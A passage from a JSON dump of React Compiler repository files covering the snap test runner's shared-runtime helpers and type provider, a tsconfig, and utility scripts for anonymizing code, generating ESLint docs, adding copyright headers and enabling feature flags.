}\n  if (forgetResult.kind === 'UnexpectedError') {\n    return makeError('Unexpected error in Forget runner', forgetResult.value);\n  }\n  if (originalCode.indexOf('@disableNonForgetInSprout') === -1) {\n    const nonForgetResult = doEval(originalCode);\n\n    if (nonForgetResult.kind === 'UnexpectedError') {\n      return makeError(\n        'Unexpected error in non-forget runner',\n        nonForgetResult.value,\n      );\n    } else if (\n      forgetResult.kind !== nonForgetResult.kind ||\n      forgetResult.value !== nonForgetResult.value ||\n      !logsEqual(forgetResult.logs, nonForgetResult.logs)\n    ) {\n      return makeError(\n        'Found differences in evaluator results',\n        `Non-forget (expected):\n${stringify(nonForgetResult)}\nForget:\n${stringify(forgetResult)}\n`,\n      );\n    }\n  }\n  return {\n    kind: 'success',\n    value: stringify(forgetResult),\n  };\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/sprout/shared-runtime-type-provider.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {\n  Effect,\n  ValueKind,\n  ValueReason,\n} from 'babel-plugin-react-compiler/src';\nimport type {TypeConfig} from 'babel-plugin-react-compiler/src/HIR/TypeSchema';\n\nexport function makeSharedRuntimeTypeProvider({\n  EffectEnum,\n  ValueKindEnum,\n  ValueReasonEnum,\n}: {\n  EffectEnum: typeof Effect;\n  ValueKindEnum: typeof ValueKind;\n  ValueReasonEnum: typeof ValueReason;\n}) {\n  return function sharedRuntimeTypeProvider(\n    moduleName: string,\n  ): TypeConfig | null {\n    if (moduleName === 'shared-runtime') {\n      return {\n        kind: 'object',\n        properties: {\n          default: {\n            kind: 'function',\n            calleeEffect: EffectEnum.Read,\n            positionalParams: [],\n            restParam: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Primitive'},\n            returnValueKind: ValueKindEnum.Primitive,\n          },\n          graphql: {\n            kind: 'function',\n            calleeEffect: EffectEnum.Read,\n            positionalParams: [],\n            restParam: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Primitive'},\n            returnValueKind: ValueKindEnum.Primitive,\n          },\n          typedArrayPush: {\n            kind: 'function',\n            calleeEffect: EffectEnum.Read,\n            positionalParams: [EffectEnum.Store, EffectEnum.Capture],\n            restParam: EffectEnum.Capture,\n            returnType: {kind: 'type', name: 'Primitive'},\n            returnValueKind: ValueKindEnum.Primitive,\n          },\n          typedLog: {\n            kind: 'function',\n            calleeEffect: EffectEnum.Read,\n            positionalParams: [],\n            restParam: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Primitive'},\n            returnValueKind: ValueKindEnum.Primitive,\n          },\n          useFreeze: {\n            kind: 'hook',\n            returnType: {kind: 'type', name: 'Any'},\n          },\n          useFragment: {\n            kind: 'hook',\n            returnType: {kind: 'type', name: 'MixedReadonly'},\n            noAlias: true,\n          },\n          useNoAlias: {\n            kind: 'hook',\n            returnType: {kind: 'type', name: 'Any'},\n            returnValueKind: ValueKindEnum.Mutable,\n            noAlias: true,\n          },\n          typedIdentity: {\n            kind: 'function',\n            positionalParams: [EffectEnum.Read],\n            restParam: null,\n            calleeEffect: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Any'},\n            returnValueKind: ValueKindEnum.Mutable,\n            aliasing: {\n              receiver: '@receiver',\n              params: ['@value'],\n              rest: null,\n              returns: '@return',\n              temporaries: [],\n              effects: [{kind: 'Assign', from: '@value', into: '@return'}],\n            },\n          },\n          typedAssign: {\n            kind: 'function',\n            positionalParams: [EffectEnum.Read],\n            restParam: null,\n            calleeEffect: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Any'},\n            returnValueKind: ValueKindEnum.Mutable,\n            aliasing: {\n              receiver: '@receiver',\n              params: ['@value'],\n              rest: null,\n              returns: '@return',\n              temporaries: [],\n              effects: [{kind: 'Assign', from: '@value', into: '@return'}],\n            },\n          },\n          typedAlias: {\n            kind: 'function',\n            positionalParams: [EffectEnum.Read],\n            restParam: null,\n            calleeEffect: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Any'},\n            returnValueKind: ValueKindEnum.Mutable,\n            aliasing: {\n              receiver: '@receiver',\n              params: ['@value'],\n              rest: null,\n              returns: '@return',\n              temporaries: [],\n              effects: [\n                {\n                  kind: 'Create',\n                  into: '@return',\n                  value: ValueKindEnum.Mutable,\n                  reason: ValueReasonEnum.KnownReturnSignature,\n                },\n                {kind: 'Alias', from: '@value', into: '@return'},\n              ],\n            },\n          },\n          typedCapture: {\n            kind: 'function',\n            positionalParams: [EffectEnum.Read],\n            restParam: null,\n            calleeEffect: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Array'},\n            returnValueKind: ValueKindEnum.Mutable,\n            aliasing: {\n              receiver: '@receiver',\n              params: ['@value'],\n              rest: null,\n              returns: '@return',\n              temporaries: [],\n              effects: [\n                {\n                  kind: 'Create',\n                  into: '@return',\n                  value: ValueKindEnum.Mutable,\n                  reason: ValueReasonEnum.KnownReturnSignature,\n                },\n                {kind: 'Capture', from: '@value', into: '@return'},\n              ],\n            },\n          },\n          typedCreateFrom: {\n            kind: 'function',\n            positionalParams: [EffectEnum.Read],\n            restParam: null,\n            calleeEffect: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Any'},\n            returnValueKind: ValueKindEnum.Mutable,\n            aliasing: {\n              receiver: '@receiver',\n              params: ['@value'],\n              rest: null,\n              returns: '@return',\n              temporaries: [],\n              effects: [{kind: 'CreateFrom', from: '@value', into: '@return'}],\n            },\n          },\n          typedMutate: {\n            kind: 'function',\n            positionalParams: [EffectEnum.Read, EffectEnum.Capture],\n            restParam: null,\n            calleeEffect: EffectEnum.Store,\n            returnType: {kind: 'type', name: 'Primitive'},\n            returnValueKind: ValueKindEnum.Primitive,\n            aliasing: {\n              receiver: '@receiver',\n              params: ['@object', '@value'],\n              rest: null,\n              returns: '@return',\n              temporaries: [],\n              effects: [\n                {\n                  kind: 'Create',\n                  into: '@return',\n                  value: ValueKindEnum.Primitive,\n                  reason: ValueReasonEnum.KnownReturnSignature,\n                },\n                {kind: 'Mutate', value: '@object'},\n                {kind: 'Capture', from: '@value', into: '@object'},\n              ],\n            },\n          },\n          PanResponder: {\n            kind: 'object',\n            properties: {\n              create: {\n                kind: 'function',\n                positionalParams: [EffectEnum.Freeze],\n                restParam: null,\n                calleeEffect: EffectEnum.Read,\n                returnType: {kind: 'type', name: 'Any'},\n                returnValueKind: ValueKindEnum.Frozen,\n                aliasing: {\n                  receiver: '@receiver',\n                  params: ['@config'],\n                  rest: null,\n                  returns: '@returns',\n                  temporaries: [],\n                  effects: [\n                    {\n                      kind: 'Freeze',\n                      value: '@config',\n                      reason: ValueReasonEnum.KnownReturnSignature,\n                    },\n                    {\n                      kind: 'Create',\n                      into: '@returns',\n                      value: ValueKindEnum.Frozen,\n                      reason: ValueReasonEnum.KnownReturnSignature,\n                    },\n                    {\n                      kind: 'ImmutableCapture',\n                      from: '@config',\n                      into: '@returns',\n                    },\n                  ],\n                },\n              },\n            },\n          },\n        },\n      };\n    } else if (moduleName === 'ReactCompilerKnownIncompatibleTest') {\n      /**\n       * Fake module used for testing validation of known incompatible\n       * API validation\n       */\n      return {\n        kind: 'object',\n        properties: {\n          useKnownIncompatible: {\n            kind: 'hook',\n            positionalParams: [],\n            restParam: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Any'},\n            knownIncompatible: `useKnownIncompatible is known to be incompatible`,\n          },\n          useKnownIncompatibleIndirect: {\n            kind: 'hook',\n            positionalParams: [],\n            restParam: EffectEnum.Read,\n            returnType: {\n              kind: 'object',\n              properties: {\n                incompatible: {\n                  kind: 'function',\n                  positionalParams: [],\n                  restParam: EffectEnum.Read,\n                  calleeEffect: EffectEnum.Read,\n                  returnType: {kind: 'type', name: 'Any'},\n                  returnValueKind: ValueKindEnum.Mutable,\n                  knownIncompatible: `useKnownIncompatibleIndirect returns an incompatible() function that is known incompatible`,\n                },\n              },\n            },\n          },\n          knownIncompatible: {\n            kind: 'function',\n            positionalParams: [],\n            restParam: EffectEnum.Read,\n            calleeEffect: EffectEnum.Read,\n            returnType: {kind: 'type', name: 'Any'},\n            returnValueKind: ValueKindEnum.Mutable,\n            knownIncompatible: `useKnownIncompatible is known to be incompatible`,\n          },\n        },\n      };\n    } else if (moduleName === 'ReactCompilerTest') {\n      /**\n       * Fake module used for testing validation that type providers return hook\n       * types for hook names and non-hook types for non-hook names\n       */\n      return {\n        kind: 'object',\n        properties: {\n          useHookNotTypedAsHook: {\n            kind: 'type',\n            name: 'Any',\n          },\n          notAhookTypedAsHook: {\n            kind: 'hook',\n            returnType: {kind: 'type', name: 'Any'},\n          },\n        },\n      };\n    } else if (moduleName === 'useDefaultExportNotTypedAsHook') {\n      /**\n       * Fake module used for testing validation that type providers return hook\n       * types for hook names and non-hook types for non-hook names\n       */\n      return {\n        kind: 'object',\n        properties: {\n          default: {\n            kind: 'type',\n            name: 'Any',\n          },\n        },\n      };\n    }\n    return null;\n  };\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/sprout/shared-runtime.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {IntlVariations, IntlViewerContext, init} from 'fbt';\nimport React, {FunctionComponent} from 'react';\n\n/**\n * This file is meant for use by `runner-evaluator` and fixture tests.\n *\n * Any fixture test can import constants or functions exported here.\n * However, the import path must be the relative path from `runner-evaluator`\n * (which calls `eval` on each fixture) to this file.\n *\n * ```js\n * // test.js\n * import {CONST_STRING0} from './shared-runtime';\n *\n * // ...\n * ```\n */\n\nexport type StringKeyedObject = {[key: string]: unknown};\n\nexport const CONST_STRING0 = 'global string 0';\nexport const CONST_STRING1 = 'global string 1';\nexport const CONST_STRING2 = 'global string 2';\n\nexport const CONST_NUMBER0 = 0;\nexport const CONST_NUMBER1 = 1;\nexport const CONST_NUMBER2 = 2;\n\nexport const CONST_TRUE = true;\nexport const CONST_FALSE = false;\n\nexport function initFbt(): void {\n  const viewerContext: IntlViewerContext = {\n    GENDER: IntlVariations.GENDER_UNKNOWN,\n    locale: 'en_US',\n  };\n\n  init({\n    translations: {},\n    hooks: {\n      getViewerContext: () => viewerContext,\n    },\n  });\n}\n\nexport function mutate(arg: any): void {\n  // don't mutate primitive\n  if (arg == null || typeof arg !== 'object') {\n    return;\n  } else if (Array.isArray(arg)) {\n    arg.push('joe');\n  }\n\n  let count: number = 0;\n  let key;\n  while (true) {\n    key = 'wat' + count;\n    if (!Object.hasOwn(arg, key)) {\n      arg[key] = 'joe';\n      return;\n    }\n    count++;\n  }\n}\n\nexport function mutateAndReturn<T>(arg: T): T {\n  mutate(arg);\n  return arg;\n}\n\nexport function mutateAndReturnNewValue<T>(arg: T): string {\n  mutate(arg);\n  return 'hello!';\n}\n\nexport function setProperty(arg: any, property: any): void {\n  // don't mutate primitive\n  if (arg == null || typeof arg !== 'object') {\n    return arg;\n  }\n\n  let count: number = 0;\n  let key;\n  while (true) {\n    key = 'wat' + count;\n    if (!Object.hasOwn(arg, key)) {\n      arg[key] = property;\n      return arg;\n    }\n    count++;\n  }\n}\n\nexport function setPropertyByKey<\n  T,\n  TKey extends keyof T,\n  TProperty extends T[TKey],\n>(arg: T, key: TKey, property: TProperty): T {\n  arg[key] = property;\n  return arg;\n}\n\nexport function arrayPush<T>(arr: Array<T>, ...values: Array<T>): Array<T> {\n  arr.push(...values);\n  return arr;\n}\n\nexport function graphql(value: string): string {\n  return value;\n}\n\nexport function identity<T>(x: T): T {\n  return x;\n}\n\nexport function getNumber(): number {\n  return 4;\n}\n\nexport function getNull(): null {\n  return null;\n}\n\nexport function getTrue(): true {\n  return true;\n}\n\nexport function getFalse(): false {\n  return false;\n}\n\nexport function calculateExpensiveNumber(x: number): number {\n  return x;\n}\n\n/**\n * Functions that do not mutate their parameters\n */\nexport function shallowCopy<T extends object>(obj: T): T {\n  return Object.assign({}, obj);\n}\n\nexport function makeObject_Primitives(): StringKeyedObject {\n  return {a: 0, b: 'value1', c: true};\n}\n\nexport function makeArray<T>(...values: Array<T>): Array<T> {\n  return [...values];\n}\n\nexport function addOne(value: number): number {\n  return value + 1;\n}\n\n/*\n * Alias console.log, as it is defined as a global and may have\n * different compiler handling than unknown functions\n */\nexport function print(...args: Array<unknown>): void {\n  console.log(...args);\n}\n\nexport function sum(...args: Array<number>): number {\n  return args.reduce((result, arg) => result + arg, 0);\n}\n\nexport function throwErrorWithMessage(message: string): never {\n  throw new Error(message);\n}\n\nexport function throwInput(x: object): never {\n  throw x;\n}\n\nexport function throwErrorWithMessageIf(cond: boolean, message: string): void {\n  if (cond) {\n    throw new Error(message);\n  }\n}\n\nexport function logValue<T>(value: T): void {\n  console.log(value);\n}\n\nexport function useHook(): object {\n  return makeObject_Primitives();\n}\n\nconst noAliasObject = Object.freeze({});\nexport function useNoAlias(..._args: Array<any>): object {\n  return noAliasObject;\n}\n\nexport function useIdentity<T>(arg: T): T {\n  return arg;\n}\n\nexport function invoke<T extends Array<any>, ReturnType>(\n  fn: (...input: T) => ReturnType,\n  ...params: T\n): ReturnType {\n  return fn(...params);\n}\n\nexport function conditionalInvoke<T extends Array<any>, ReturnType>(\n  shouldInvoke: boolean,\n  fn: (...input: T) => ReturnType,\n  ...params: T\n): ReturnType | null {\n  if (shouldInvoke) {\n    return fn(...params);\n  } else {\n    return null;\n  }\n}\n\n/**\n * React Components\n */\nexport function Text(props: {\n  value: string;\n  children?: Array<React.ReactNode>;\n}): React.ReactElement {\n  return React.createElement('div', null, props.value, props.children);\n}\n\nexport function StaticText1(props: {\n  children?: Array<React.ReactNode>;\n}): React.ReactElement {\n  return React.createElement('div', null, 'StaticText1', props.children);\n}\n\nexport function StaticText2(props: {\n  children?: Array<React.ReactNode>;\n}): React.ReactElement {\n  return React.createElement('div', null, 'StaticText2', props.children);\n}\n\nexport function RenderPropAsChild(props: {\n  items: Array<() => React.ReactNode>;\n}): React.ReactElement {\n  return React.createElement(\n    'div',\n    null,\n    'HigherOrderComponent',\n    props.items.map(item => item()),\n  );\n}\n\nexport function Stringify(props: any): React.ReactElement {\n  return React.createElement(\n    'div',\n    null,\n    toJSON(props, props?.shouldInvokeFns),\n  );\n}\nexport function Throw() {\n  throw new Error();\n}\n\nexport function ValidateMemoization({\n  inputs,\n  output: rawOutput,\n  onlyCheckCompiled = false,\n}: {\n  inputs: Array<any>;\n  output: any;\n  onlyCheckCompiled?: boolean;\n}): React.ReactElement {\n  'use no forget';\n  // Wrap rawOutput as it might be a function, which useState would invoke.\n  const output = {value: rawOutput};\n  const [previousInputs, setPreviousInputs] = React.useState(inputs);\n  const [previousOutput, setPreviousOutput] = React.useState(output);\n  if (\n    !onlyCheckCompiled ||\n    (onlyCheckCompiled &&\n      (globalThis as any).__SNAP_EVALUATOR_MODE === 'forget')\n  ) {\n    if (\n      inputs.length !== previousInputs.length ||\n      inputs.some((item, i) => item !== previousInputs[i])\n    ) {\n      // Some input changed, we expect the output to change\n      setPreviousInputs(inputs);\n      setPreviousOutput(output);\n    } else if (output.value !== previousOutput.value) {\n      // Else output should be stable\n      throw new Error('Output identity changed but inputs did not');\n    }\n  }\n  return React.createElement(Stringify, {inputs, output: rawOutput});\n}\n\nexport function createHookWrapper<TProps, TRet>(\n  useMaybeHook: (props: TProps) => TRet,\n): FunctionComponent<TProps> {\n  return function Component(props: TProps): React.ReactElement {\n    const result = useMaybeHook(props);\n    return Stringify({\n      result: result,\n      shouldInvokeFns: true,\n    });\n  };\n}\n\n// helper functions\nexport function toJSON(value: any, invokeFns: boolean = false): string {\n  const seen = new Map();\n\n  return JSON.stringify(value, (_key: string, val: any) => {\n    if (typeof val === 'function') {\n      if (val.length === 0 && invokeFns) {\n        return {\n          kind: 'Function',\n          result: val(),\n        };\n      } else {\n        return `[[ function params=${val.length} ]]`;\n      }\n    } else if (typeof val === 'object') {\n      let id = seen.get(val);\n      if (id != null) {\n        return `[[ cyclic ref *${id} ]]`;\n      } else if (val instanceof Map) {\n        return {\n          kind: 'Map',\n          value: Array.from(val.entries()),\n        };\n      } else if (val instanceof Set) {\n        return {\n          kind: 'Set',\n          value: Array.from(val.values()),\n        };\n      }\n      seen.set(val, seen.size);\n    }\n    return val;\n  });\n}\nexport class Builder {\n  vals: Array<any> = [];\n  static makeBuilder(isNull: boolean, ...args: Array<any>): Builder | null {\n    if (isNull) {\n      return null;\n    } else {\n      const builder = new Builder();\n      builder.push(...args);\n      return builder;\n    }\n  }\n  push(...args: Array<any>): Builder {\n    this.vals.push(...args);\n    return this;\n  }\n}\n\nexport const ObjectWithHooks = {\n  useFoo(): number {\n    return 0;\n  },\n  useMakeArray(): Array<number> {\n    return [1, 2, 3];\n  },\n  useIdentity<T>(arg: T): T {\n    return arg;\n  },\n};\n\nexport function useFragment(..._args: Array<any>): object {\n  return {\n    a: [1, 2, 3],\n    b: {c: {d: 4}},\n  };\n}\n\nexport function useSpecialEffect(\n  fn: () => any,\n  _secondArg: any,\n  deps: Array<any>,\n) {\n  React.useEffect(fn, deps);\n}\n\nexport function typedArrayPush<T>(array: Array<T>, item: T): void {\n  array.push(item);\n}\n\nexport function typedLog(...values: Array<any>): void {\n  console.log(...values);\n}\n\nexport function typedIdentity<T>(value: T): T {\n  return value;\n}\n\nexport function typedAssign<T>(x: T): T {\n  return x;\n}\n\nexport function typedAlias<T>(x: T): T {\n  return x;\n}\n\nexport function typedCapture<T>(x: T): Array<T> {\n  return [x];\n}\n\nexport function typedCreateFrom<T>(array: Array<T>): T {\n  return array[0];\n}\n\nexport function typedMutate(x: any, v: any = null): void {\n  x.property = v;\n}\n\nexport const PanResponder = {\n  create(obj: any): any {\n    return obj;\n  },\n};\n\nexport default typedLog;\n"
  },
  {
    "path": "compiler/packages/snap/src/sprout/useEffectWrapper.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/* This file is used to test the effect auto-deps configuration, which\n * allows you to specify functions that should have dependencies added to\n * callsites.\n */\nimport {useEffect} from 'react';\n\nexport default function useEffectWrapper(f: () => void | (() => void)): void {\n  useEffect(() => {\n    f();\n  }, [f]);\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/types.d.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// v0.17.1\ndeclare module 'hermes-parser' {\n  type HermesParserOptions = {\n    allowReturnOutsideFunction?: boolean;\n    babel?: boolean;\n    flow?: 'all' | 'detect';\n    enableExperimentalComponentSyntax?: boolean;\n    sourceFilename?: string;\n    sourceType?: 'module' | 'script' | 'unambiguous';\n    tokens?: boolean;\n  };\n  export function parse(code: string, options: Partial<HermesParserOptions>);\n}\n"
  },
  {
    "path": "compiler/packages/snap/tsconfig.json",
    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": true,\n    \"outDir\": \"dist\",\n    \"jsx\": \"react-jsxdev\",\n    \"lib\": [\"ES2022\"],\n\n    // weaken strictness from preset\n    \"importsNotUsedAsValues\": \"remove\",\n    \"noUncheckedIndexedAccess\": false,\n    \"noUnusedParameters\": false,\n    \"useUnknownInCatchVariables\": false,\n    \"target\": \"ES2015\",\n    // ideally turn off only during dev, or on a per-file basis\n    \"noUnusedLocals\": false,\n    \"sourceMap\": true\n  },\n  \"exclude\": [\"node_modules\"],\n  \"include\": [\"src/**/*.ts\"],\n}\n"
  },
  {
    "path": "compiler/scripts/anonymize.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst fs = require('fs');\nconst HermesParser = require('hermes-parser');\nconst BabelParser = require('@babel/parser');\nconst BabelCore = require('@babel/core');\nconst invariant = require('invariant');\nconst {argv, stdin} = require('process');\nconst prettier = require('prettier');\nconst {JSXText} = require('hermes-parser/dist/generated/ESTreeVisitorKeys');\n\nfunction runPlugin(text, file, language) {\n  let ast;\n  if (language === 'flow') {\n    ast = HermesParser.parse(text, {\n      babel: true,\n      flow: 'all',\n      sourceFilename: file,\n      sourceType: 'module',\n      enableExperimentalComponentSyntax: true,\n    });\n  } else {\n    ast = BabelParser.parse(text, {\n      sourceFilename: file,\n      plugins: ['typescript', 'jsx'],\n      sourceType: 'module',\n    });\n  }\n  const result = BabelCore.transformFromAstSync(ast, text, {\n    ast: false,\n    filename: file,\n    highlightCode: false,\n    retainLines: true,\n    plugins: [[AnonymizePlugin]],\n    sourceType: 'module',\n    configFile: false,\n    babelrc: false,\n  });\n  invariant(\n    result?.code != null,\n    `Expected BabelPluginReactForget to codegen successfully, got: ${result}`\n  );\n  return result.code;\n}\n\nasync function format(code, language) {\n  return await prettier.format(code, {\n    semi: true,\n    parser: language === 'typescript' ? 'babel-ts' : 'flow',\n  });\n}\n\nconst TAG_NAMES = new Set([\n  'a',\n  'body',\n  'button',\n  'div',\n  'form',\n  'head',\n  'html',\n  'input',\n  'label',\n  'select',\n  'span',\n  'textarea',\n\n  // property/attribute names\n  'value',\n  'checked',\n  'onClick',\n  'onSubmit',\n  'name',\n]);\n\nconst BUILTIN_HOOKS = new Set([\n  'useContext',\n  'useEffect',\n  'useInsertionEffect',\n  'useLayoutEffect',\n  'useReducer',\n  'useState',\n]);\n\nconst GLOBALS = new Set([\n  'String',\n  'Object',\n  'Function',\n  'Number',\n  'RegExp',\n  'Date',\n  'Error',\n  'Function',\n  'TypeError',\n  'RangeError',\n  'ReferenceError',\n  'SyntaxError',\n  'URIError',\n  'EvalError',\n  'Boolean',\n  'DataView',\n  'Float32Array',\n  'Float64Array',\n  'Int8Array',\n  'Int16Array',\n  'Int32Array',\n  'Map',\n  'Set',\n  'WeakMap',\n  'Uint8Array',\n  'Uint8ClampedArray',\n  'Uint16Array',\n  'Uint32Array',\n  'ArrayBuffer',\n  'JSON',\n  'parseFloat',\n  'parseInt',\n  'console',\n  'isNaN',\n  'eval',\n  'isFinite',\n  'encodeURI',\n  'decodeURI',\n  'encodeURIComponent',\n  'decodeURIComponent',\n\n  // common method/property names of globals\n  'map',\n  'push',\n  'at',\n  'filter',\n  'slice',\n  'splice',\n  'add',\n  'get',\n  'set',\n  'has',\n  'size',\n  'length',\n  'toString',\n]);\n\nfunction AnonymizePlugin(_babel) {\n  let index = 0;\n  const identifiers = new Map();\n  const literals = new Map();\n  return {\n    name: 'anonymize',\n    visitor: {\n      JSXNamespacedName(path) {\n        throw error('TODO: handle JSXNamedspacedName');\n      },\n      JSXIdentifier(path) {\n        const name = path.node.name;\n        if (TAG_NAMES.has(name)) {\n          return;\n        }\n        let nextName = identifiers.get(name);\n        if (nextName == null) {\n          const isCapitalized =\n            name.slice(0, 1).toUpperCase() === name.slice(0, 1);\n          nextName = isCapitalized\n            ? `Component${(index++).toString(16).toUpperCase()}`\n            : `c${(index++).toString(16)}`;\n          identifiers.set(name, nextName);\n        }\n        path.node.name = nextName;\n      },\n      Identifier(path) {\n        const name = path.node.name;\n        if (BUILTIN_HOOKS.has(name) || GLOBALS.has(name)) {\n          return;\n        }\n        let nextName = identifiers.get(name);\n        if (nextName == null) {\n          const isCapitalized =\n            name.slice(0, 1).toUpperCase() === name.slice(0, 1);\n          const prefix = isCapitalized ? 'V' : 'v';\n          nextName = `${prefix}${(index++).toString(16)}`;\n          if (name.startsWith('use')) {\n            nextName =\n              'use' + nextName.slice(0, 1).toUpperCase() + nextName.slice(1);\n          }\n          identifiers.set(name, nextName);\n        }\n        path.node.name = nextName;\n      },\n      JSXText(path) {\n        const value = path.node.value;\n        let nextValue = literals.get(value);\n        if (nextValue == null) {\n          let string = '';\n          while (string.length < value.length) {\n            string += String.fromCharCode(Math.round(Math.random() * 25) + 97);\n          }\n          nextValue = string;\n          literals.set(value, nextValue);\n        }\n        path.node.value = nextValue;\n      },\n      StringLiteral(path) {\n        const value = path.node.value;\n        let nextValue = literals.get(value);\n        if (nextValue == null) {\n          let string = '';\n          while (string.length < value.length) {\n            string += String.fromCharCode(Math.round(Math.random() * 58) + 65);\n          }\n          nextValue = string;\n          literals.set(value, nextValue);\n        }\n        path.node.value = nextValue;\n      },\n      NumericLiteral(path) {\n        const value = path.node.value;\n        let nextValue = literals.get(value);\n        if (nextValue == null) {\n          nextValue = Number.isInteger(value)\n            ? Math.round(Math.random() * Number.MAX_SAFE_INTEGER)\n            : Math.random() * Number.MAX_VALUE;\n          literals.set(value, nextValue);\n        }\n        path.node.value = nextValue;\n      },\n    },\n  };\n}\n\nlet file;\nlet text;\nif (argv.length >= 3) {\n  file = argv[2];\n  text = fs.readFileSync(file, 'utf8');\n} else {\n  // read from stdin\n  file = 'stdin.js';\n  text = fs.readFileSync(stdin.fd, 'utf8');\n}\nconst language =\n  file.endsWith('.ts') || file.endsWith('.tsx') ? 'typescript' : 'flow';\nconst result = runPlugin(text, file, language);\nformat(result, language).then(formatted => {\n  console.log(formatted);\n});\n"
  },
  {
    "path": "compiler/scripts/build-eslint-docs.js",
    "content": "const ReactCompiler = require('../packages/babel-plugin-react-compiler/dist');\n\nconst combinedRules = [\n  {\n    name: 'rules-of-hooks',\n    recommended: true,\n    description:\n      'Validates that components and hooks follow the [Rules of Hooks](https://react.dev/reference/rules/rules-of-hooks)',\n  },\n  {\n    name: 'exhaustive-deps',\n    recommended: true,\n    description:\n      'Validates that hooks which accept dependency arrays (`useMemo()`, `useCallback()`, `useEffect()`, etc) ' +\n      'list all referenced variables in their dependency array. Referencing a value without including it in the ' +\n      'dependency array can lead to stale UI or callbacks.',\n  },\n  ...ReactCompiler.LintRules,\n];\n\nconst printed = combinedRules\n  .filter(\n    ruleConfig => ruleConfig.rule.recommended && ruleConfig.severity !== 'Off'\n  )\n  .map(ruleConfig => {\n    return `\n## \\`react-hooks/${ruleConfig.rule.name}\\`\n\n${ruleConfig.rule.description}\n    `.trim();\n  })\n  .join('\\n\\n');\n\nconsole.log(printed);\n"
  },
  {
    "path": "compiler/scripts/copyright.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst fs = require('fs');\nconst glob = require('glob');\n\nconst META_COPYRIGHT_COMMENT_BLOCK =\n  `/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */`.trim() + '\\n\\n';\n\nconst files = glob.sync('**/*.{js,ts,tsx,jsx,rs}', {\n  ignore: [\n    '**/dist/**',\n    '**/node_modules/**',\n    '**/tests/fixtures/**',\n    '**/__tests__/fixtures/**',\n  ],\n});\n\nconst updatedFiles = new Map();\nlet hasErrors = false;\nfiles.forEach(file => {\n  try {\n    const result = processFile(file);\n    if (result != null) {\n      updatedFiles.set(file, result);\n    }\n  } catch (e) {\n    console.error(e);\n    hasErrors = true;\n  }\n});\nif (hasErrors) {\n  console.error('Update failed');\n  process.exit(1);\n} else {\n  for (const [file, source] of updatedFiles) {\n    fs.writeFileSync(file, source, 'utf8');\n  }\n  console.log('Update complete');\n}\n\nfunction processFile(file) {\n  if (fs.lstatSync(file).isDirectory()) {\n    return;\n  }\n  let source = fs.readFileSync(file, 'utf8');\n\n  if (source.indexOf(META_COPYRIGHT_COMMENT_BLOCK) === 0) {\n    return null;\n  }\n  if (/^\\/\\*\\*/.test(source)) {\n    source = source.replace(/\\/\\*\\*[^\\/]+\\/\\s+/, META_COPYRIGHT_COMMENT_BLOCK);\n  } else {\n    source = `${META_COPYRIGHT_COMMENT_BLOCK}${source}`;\n  }\n  return source;\n}\n"
  },
  {
    "path": "compiler/scripts/enable-feature-flag.js",
    "content": "#!/usr/bin/env node\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\nconst {execSync} = require('child_process');\nconst yargs = require('yargs/yargs');\nconst {hideBin} = require('yargs/helpers');\n\n// Constants\nconst COMPILER_ROOT = path.resolve(__dirname, '..');\nconst ENVIRONMENT_TS_PATH = path.join(\n  COMPILER_ROOT,\n  'packages/babel-plugin-react-compiler/src/HIR/Environment.ts'\n);\nconst FIXTURES_PATH = path.join(\n  COMPILER_ROOT,\n  'packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler'\n);\nconst FIXTURE_EXTENSIONS = ['.js', '.jsx', '.ts', '.tsx'];\n\n/**\n * Parse command line arguments\n */\nfunction parseArgs() {\n  const argv = yargs(hideBin(process.argv))\n    .usage('Usage: $0 <flag-name>')\n    .command('$0 <flag-name>', 'Enable a feature flag by default', yargs => {\n      yargs.positional('flag-name', {\n        describe: 'Name of the feature flag to enable',\n        type: 'string',\n      });\n    })\n    .example(\n      '$0 validateExhaustiveMemoizationDependencies',\n      'Enable the validateExhaustiveMemoizationDependencies flag'\n    )\n    .help('h')\n    .alias('h', 'help')\n    .strict()\n    .parseSync();\n\n  return argv['flag-name'];\n}\n\n/**\n * Enable a feature flag in Environment.ts by changing default(false) to default(true)\n */\nfunction enableFlagInEnvironment(flagName) {\n  console.log(`\\nEnabling flag \"${flagName}\" in Environment.ts...`);\n\n  const content = fs.readFileSync(ENVIRONMENT_TS_PATH, 'utf8');\n\n  // Check if the flag exists with default(false)\n 